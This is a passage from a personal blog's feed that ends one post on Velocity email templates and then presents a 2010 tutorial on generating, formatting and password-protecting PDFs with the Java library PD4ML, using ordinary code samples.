&lt;pre&gt;&lt;code&gt;  &amp;lt;img src="#IMGURL('mailheader.GIF')" border="0" width="980" height="61"&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will get generated as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;img src="https://localhost/myapp/images/mailheader.GIF" border="0" width="980" height="61"&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Accessing the Bean Object&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The variables in the MailBean object placed in the context can be
accessed using, &lt;code&gt;$MailBean.\[variable-name\]&lt;/code&gt; Example:
&lt;code&gt;Mail Content : $MailBean.content&lt;/code&gt;&lt;/p&gt;
&lt;h4 id="mail.properties"&gt;mail.properties&lt;/h4&gt;
&lt;p&gt;This file contains the connection and the other context parameter
properties used by the java code&lt;/p&gt;
&lt;h3 id="advantages"&gt;Advantages&lt;/h3&gt;
&lt;p&gt;Designed as an easy-to-use general templating tool, Velocity is
useful in any Java application area that requires data formatting and
presentation. Their salient advantages being:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It adapts to many application areas.&lt;/li&gt;
&lt;li&gt;It offers a simple, clear syntax for the template designer.&lt;/li&gt;
&lt;li&gt;It offers a simple programming model for the developer.&lt;/li&gt;
&lt;li&gt;Because templates and code are separate, you can develop and
maintain them independently.&lt;/li&gt;
&lt;li&gt;The Velocity engine easily integrates into any Java application
environment, especially Servlets.&lt;/li&gt;
&lt;li&gt;Velocity enables templates to access any public method of data
objects in the context.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="references"&gt;References&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="uri" href="http://velocity.apache.org/"&gt;http://velocity.apache.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="uri" href="http://www.roseindia.net/software-tutorials/detail/3131"&gt;http://www.roseindia.net/software-tutorials/detail/3131&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="uri" href="http://java.sun.com/developer/"&gt;http://java.sun.com/developer/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="uri" href="http://kickjava.com/2876.htm"&gt;http://kickjava.com/2876.htm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="uri" href="http://www.javaworld.com/javaworld/jw-12-2001/jw-1228-velocity.html"&gt;http://www.javaworld.com/javaworld/jw-12-2001/jw-1228-velocity.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="uri" href="http://velocity.apache.org/engine/releases/velocity-1.5/user-guide.html"&gt;http://velocity.apache.org/engine/releases/velocity-1.5/user-guide.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="uri" href="http://www.javasoft.com/products/javamail"&gt;http://www.javasoft.com/products/javamail&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Software-Engineering"/><category term="javamail"/><category term="java"/><category term="velocity"/></entry><entry><title>PDF Generation using PD4ML</title><link href="https://sengopal.me/posts/pdf-generation-using-pd4ml" rel="alternate"/><published>2010-04-05T00:00:00-07:00</published><updated>2010-04-05T00:00:00-07:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2010-04-05:/posts/pdf-generation-using-pd4ml</id><summary type="html">Our Project required PDF generation at various stages of the application and the uploading the same into the FileNet FTP. PD4ML was used for generation and saving the file locally into the server from which the PDF got generated to the FileNet.</summary><content type="html">&lt;h3 id="project-usage"&gt;Project Usage&lt;/h3&gt;
&lt;p&gt;Our project required PDF generation at various stages of the
application and the uploading the same into the FileNet FTP. PD4ML was
used for generation and saving the file locally into the server from
which the PDF got generated to the FileNet. PD4ML was used as our
application used Struts framework and the data needed in the PDF was
provided using STRUTS and the layout design was done using HTML and CSS.
This provided us with a seamless abstraction between the presentation
and the business layer for dynamic generation of PDFs online.&lt;/p&gt;
&lt;h3 id="introduction-to-pd4ml"&gt;Introduction to PD4ML&lt;/h3&gt;
&lt;p&gt;PD4ML is a powerful PDF generating tool that uses HTML and CSS
(Cascading Style Sheets) as page layout and content definition format.
Written in 100% pure Java, it allows users to easily add PDF generation
functionality to end products. PD4ML can be used either as a command
line operation or in Web applications for online PDF generation from
HTML and JSP templates.&lt;/p&gt;
&lt;p&gt;###PD4ML as a Command Line Operation PD4ML can be used for HTML to
PDF transformation with a command line application. There are man ways
for achieving this conversion. However the most commonly used methods
are as follows:&lt;/p&gt;
&lt;p&gt;####Creating a PDF from an URL String The PDF can be generated using
a html file whose URL can be in the render () method&lt;/p&gt;
&lt;div class="sourceCode" id="cb1"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb1-1"&gt;&lt;a aria-hidden="true" href="#cb1-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;zefer&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;pd4ml&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;PD4ML&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-2"&gt;&lt;a aria-hidden="true" href="#cb1-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;zefer&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;pd4ml&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;PD4Constants&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-3"&gt;&lt;a aria-hidden="true" href="#cb1-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;......&lt;/span&gt;&lt;span class="op"&gt;..&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-4"&gt;&lt;a aria-hidden="true" href="#cb1-4" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb1-5"&gt;&lt;a aria-hidden="true" href="#cb1-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="fu"&gt;File&lt;/span&gt; f &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;File&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"D:/tools/test.pdf"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-6"&gt;&lt;a aria-hidden="true" href="#cb1-6" tabindex="-1"&gt;&lt;/a&gt;java&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;io&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;FileOutputStream&lt;/span&gt; fos &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; java&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;io&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;FileOutputStream&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;f&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-7"&gt;&lt;a aria-hidden="true" href="#cb1-7" tabindex="-1"&gt;&lt;/a&gt;PD4ML pd4ml &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;PD4ML&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-8"&gt;&lt;a aria-hidden="true" href="#cb1-8" tabindex="-1"&gt;&lt;/a&gt;pd4ml&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;render&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; urlstring&lt;span class="op"&gt;,&lt;/span&gt; fos &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Steps Involved&lt;/strong&gt;&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Import the PD4ML converter class&lt;/li&gt;
&lt;li&gt;Define HTML-to-PDF converting parameter values if needed such as
user space width, HTML elements arrangement, vertical size etc.,&lt;/li&gt;
&lt;li&gt;Preparing output stream for PDF generation.&lt;/li&gt;
&lt;li&gt;Instantiating PD4ML converter.&lt;/li&gt;
&lt;li&gt;Passing to it HTML-to-PDF converting parameters.&lt;/li&gt;
&lt;li&gt;Performing HTML-to-PDF translation.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Converting HTML obtained from input stream to
PDF&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Using an URL for converting an HTML into a PDF is not mandatory.
PD4ML can read a source HTML from input stream and then use the input
stream for conversion into the PDF&lt;/p&gt;
&lt;div class="sourceCode" id="cb2"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb2-1"&gt;&lt;a aria-hidden="true" href="#cb2-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;File&lt;/span&gt; f &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;File&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"D:/tools/test.pdf"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-2"&gt;&lt;a aria-hidden="true" href="#cb2-2" tabindex="-1"&gt;&lt;/a&gt;java&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;io&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;FileOutputStream&lt;/span&gt; fos &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; java&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;io&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;FileOutputStream&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;f&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-3"&gt;&lt;a aria-hidden="true" href="#cb2-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;File&lt;/span&gt; fz &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;File&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"D:/tools/yahoo.htm"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-4"&gt;&lt;a aria-hidden="true" href="#cb2-4" tabindex="-1"&gt;&lt;/a&gt;java&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;io&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;FileInputStream&lt;/span&gt; fis &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; java&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;io&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;FileInputStream&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;fz&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-5"&gt;&lt;a aria-hidden="true" href="#cb2-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;InputStreamReader&lt;/span&gt; isr &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;InputStreamReader&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; fis&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="st"&gt;"UTF-8"&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-6"&gt;&lt;a aria-hidden="true" href="#cb2-6" tabindex="-1"&gt;&lt;/a&gt;PD4ML html &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;PD4ML&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-7"&gt;&lt;a aria-hidden="true" href="#cb2-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;URL&lt;/span&gt; base &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;URL&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="st"&gt;"file:D:/tools/"&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-8"&gt;&lt;a aria-hidden="true" href="#cb2-8" tabindex="-1"&gt;&lt;/a&gt;html&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;render&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; isr&lt;span class="op"&gt;,&lt;/span&gt; fos&lt;span class="op"&gt;,&lt;/span&gt; base &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="formatting-the-pdf-document-generated"&gt;Formatting the PDF
document generated&lt;/h3&gt;
&lt;p&gt;The PDF getting generated can be formatted using various methods.
Some of the most commonly used ones are given below:&lt;/p&gt;
&lt;div class="sourceCode" id="cb3"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb3-1"&gt;&lt;a aria-hidden="true" href="#cb3-1" tabindex="-1"&gt;&lt;/a&gt;PD4ML html &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;PD4ML&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-2"&gt;&lt;a aria-hidden="true" href="#cb3-2" tabindex="-1"&gt;&lt;/a&gt;html&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setPageSize&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Dimension&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;450&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="dv"&gt;450&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-3"&gt;&lt;a aria-hidden="true" href="#cb3-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//defines page size in points. A set of predefined page format constants is available in the PD4Constants interface.&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-4"&gt;&lt;a aria-hidden="true" href="#cb3-4" tabindex="-1"&gt;&lt;/a&gt;html&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setPageInsets&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Insets&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;20&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="dv"&gt;50&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="dv"&gt;10&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="dv"&gt;10&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-5"&gt;&lt;a aria-hidden="true" href="#cb3-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//specifies page insets in points&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-6"&gt;&lt;a aria-hidden="true" href="#cb3-6" tabindex="-1"&gt;&lt;/a&gt;html&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setHtmlWidth&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="dv"&gt;750&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-7"&gt;&lt;a aria-hidden="true" href="#cb3-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//defines desired HTML page width in screen pixels. Virtually it can be seen as a web browser window horizontal resize&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-8"&gt;&lt;a aria-hidden="true" href="#cb3-8" tabindex="-1"&gt;&lt;/a&gt;html&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;enableImgSplit&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="kw"&gt;false&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-9"&gt;&lt;a aria-hidden="true" href="#cb3-9" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//allows to disable image splitting by page breaks. By default the option is true (splitting enabled).&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="for-generating-text-only-header-and-footer"&gt;For Generating
Text-Only Header and Footer&lt;/h4&gt;
&lt;p&gt;Static or template text can be used for header and footer of the PDF
document. The header and the footer can be set with various formats. Few
of them are:&lt;/p&gt;
&lt;div class="sourceCode" id="cb4"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb4-1"&gt;&lt;a aria-hidden="true" href="#cb4-1" tabindex="-1"&gt;&lt;/a&gt;PD4PageMark header &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;PD4PageMark&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-2"&gt;&lt;a aria-hidden="true" href="#cb4-2" tabindex="-1"&gt;&lt;/a&gt;header&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setAreaHeight&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="dv"&gt;20&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-3"&gt;&lt;a aria-hidden="true" href="#cb4-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//defines height of the header or footer area&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-4"&gt;&lt;a aria-hidden="true" href="#cb4-4" tabindex="-1"&gt;&lt;/a&gt;header&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setTitleTemplate&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="st"&gt;"title: $[title]"&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-5"&gt;&lt;a aria-hidden="true" href="#cb4-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//defines a template for page title representation.&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-6"&gt;&lt;a aria-hidden="true" href="#cb4-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//No title is printed, if the titleTemplate is set to null. Default value is null.&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-7"&gt;&lt;a aria-hidden="true" href="#cb4-7" tabindex="-1"&gt;&lt;/a&gt;header&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setTitleAlignment&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; PD4PageMark&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;CENTER_ALIGN&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-8"&gt;&lt;a aria-hidden="true" href="#cb4-8" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//defines alignment for the page title string in the document's header of footer&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-9"&gt;&lt;a aria-hidden="true" href="#cb4-9" tabindex="-1"&gt;&lt;/a&gt;header&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setPageNumberAlignment&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; PD4PageMark&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;LEFT_ALIGN&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-10"&gt;&lt;a aria-hidden="true" href="#cb4-10" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//defines alignment for the page numbers in the document's header of footer area&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-11"&gt;&lt;a aria-hidden="true" href="#cb4-11" tabindex="-1"&gt;&lt;/a&gt;header&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setPageNumberTemplate&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="st"&gt;"#$[page]"&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-12"&gt;&lt;a aria-hidden="true" href="#cb4-12" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//defines a template for page number representation&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-13"&gt;&lt;a aria-hidden="true" href="#cb4-13" tabindex="-1"&gt;&lt;/a&gt;PD4PageMark footer &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;PD4PageMark&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-14"&gt;&lt;a aria-hidden="true" href="#cb4-14" tabindex="-1"&gt;&lt;/a&gt;footer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setAreaHeight&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="dv"&gt;30&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-15"&gt;&lt;a aria-hidden="true" href="#cb4-15" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//Already explained above&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-16"&gt;&lt;a aria-hidden="true" href="#cb4-16" tabindex="-1"&gt;&lt;/a&gt;footer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setFontSize&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="dv"&gt;20&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-17"&gt;&lt;a aria-hidden="true" href="#cb4-17" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//sets font size for the header or footer&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-18"&gt;&lt;a aria-hidden="true" href="#cb4-18" tabindex="-1"&gt;&lt;/a&gt;footer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setColor&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="bu"&gt;Color&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;red&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-19"&gt;&lt;a aria-hidden="true" href="#cb4-19" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//setColor() sets the color of header or footer text&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-20"&gt;&lt;a aria-hidden="true" href="#cb4-20" tabindex="-1"&gt;&lt;/a&gt;footer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setPagesToSkip&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="dv"&gt;1&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-21"&gt;&lt;a aria-hidden="true" href="#cb4-21" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//defines a number of pages from the document beginning, that should not be marked with the header or footer info&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-22"&gt;&lt;a aria-hidden="true" href="#cb4-22" tabindex="-1"&gt;&lt;/a&gt;footer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setTitleTemplate&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="st"&gt;"[ $[title] ]"&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-23"&gt;&lt;a aria-hidden="true" href="#cb4-23" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//Already explained above&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-24"&gt;&lt;a aria-hidden="true" href="#cb4-24" tabindex="-1"&gt;&lt;/a&gt;footer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setPageNumberTemplate&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; &lt;span class="st"&gt;"page: $[page]"&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-25"&gt;&lt;a aria-hidden="true" href="#cb4-25" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//Already explained above&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-26"&gt;&lt;a aria-hidden="true" href="#cb4-26" tabindex="-1"&gt;&lt;/a&gt;footer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setTitleAlignment&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; PD4PageMark&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;RIGHT_ALIGN&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-27"&gt;&lt;a aria-hidden="true" href="#cb4-27" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//Already explained above&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-28"&gt;&lt;a aria-hidden="true" href="#cb4-28" tabindex="-1"&gt;&lt;/a&gt;footer&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setPageNumberAlignment&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; PD4PageMark&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;LEFT_ALIGN&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-29"&gt;&lt;a aria-hidden="true" href="#cb4-29" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;//Already explained above&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-30"&gt;&lt;a aria-hidden="true" href="#cb4-30" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb4-31"&gt;&lt;a aria-hidden="true" href="#cb4-31" tabindex="-1"&gt;&lt;/a&gt;pd4ml&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setPageHeader&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; header &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-32"&gt;&lt;a aria-hidden="true" href="#cb4-32" tabindex="-1"&gt;&lt;/a&gt;pd4ml&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setPageFooter&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; footer &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="protecting-pdf-documents"&gt;Protecting PDF documents&lt;/h4&gt;
&lt;p&gt;A PDF document can be encrypted to protect its contents from
unauthorized access. PD4ML supports PDF access permissions concept and
allows a password to be specified for a document. If any passwords or
access restrictions are specified with PD4ML.setPermissions (), the
document is encrypted, and the permissions and information required to
validate the passwords are stored to the resulting document.&lt;/p&gt;
&lt;p&gt;The possible restrictions are:&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Modifying the document’s contents&lt;/li&gt;
&lt;li&gt;Copying or otherwise extracting text and graphics from the
document&lt;/li&gt;
&lt;li&gt;Adding or modifying text annotations&lt;/li&gt;
&lt;li&gt;Printing the document&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The various types of pre-set Permissions available in the API
are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AllowAssembly&lt;/li&gt;
&lt;li&gt;AllowContentExtraction&lt;/li&gt;
